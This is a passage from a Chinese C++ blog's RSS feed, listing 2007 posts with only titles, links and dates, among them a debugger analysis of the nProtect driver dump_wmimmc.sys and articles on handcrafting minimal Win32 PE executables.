GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/15/24147.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/24147.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/15/24147.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/24147.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/24147.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/15/24147.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/24147.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-15 13:17 <a href="http://www.cppblog.com/elva/archive/2007/05/15/24147.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> syser 实战一(分析 nprotect 的 dump_wmimmc.sys)</title><link>http://www.cppblog.com/elva/archive/2007/05/14/24081.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sun, 13 May 2007 17:08:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/14/24081.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/24081.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/14/24081.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/24081.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/24081.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/14/24081.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/24081.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-14 01:08 <a href="http://www.cppblog.com/elva/archive/2007/05/14/24081.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>打造最小的PE文件</title><link>http://www.cppblog.com/elva/archive/2007/05/14/24077.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sun, 13 May 2007 16:46:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/14/24077.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/24077.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/14/24077.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/24077.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/24077.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/14/24077.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/24077.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-14 00:46 <a href="http://www.cppblog.com/elva/archive/2007/05/14/24077.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>手工打造微型Win32可执行文件</title><link>http://www.cppblog.com/elva/archive/2007/05/14/24076.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Sun, 13 May 2007 16:45:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/14/24076.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/24076.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/14/24076.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/24076.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/24076.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/14/24076.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/24076.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-14 00:45 <a href="http://www.cppblog.com/elva/archive/2007/05/14/24076.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>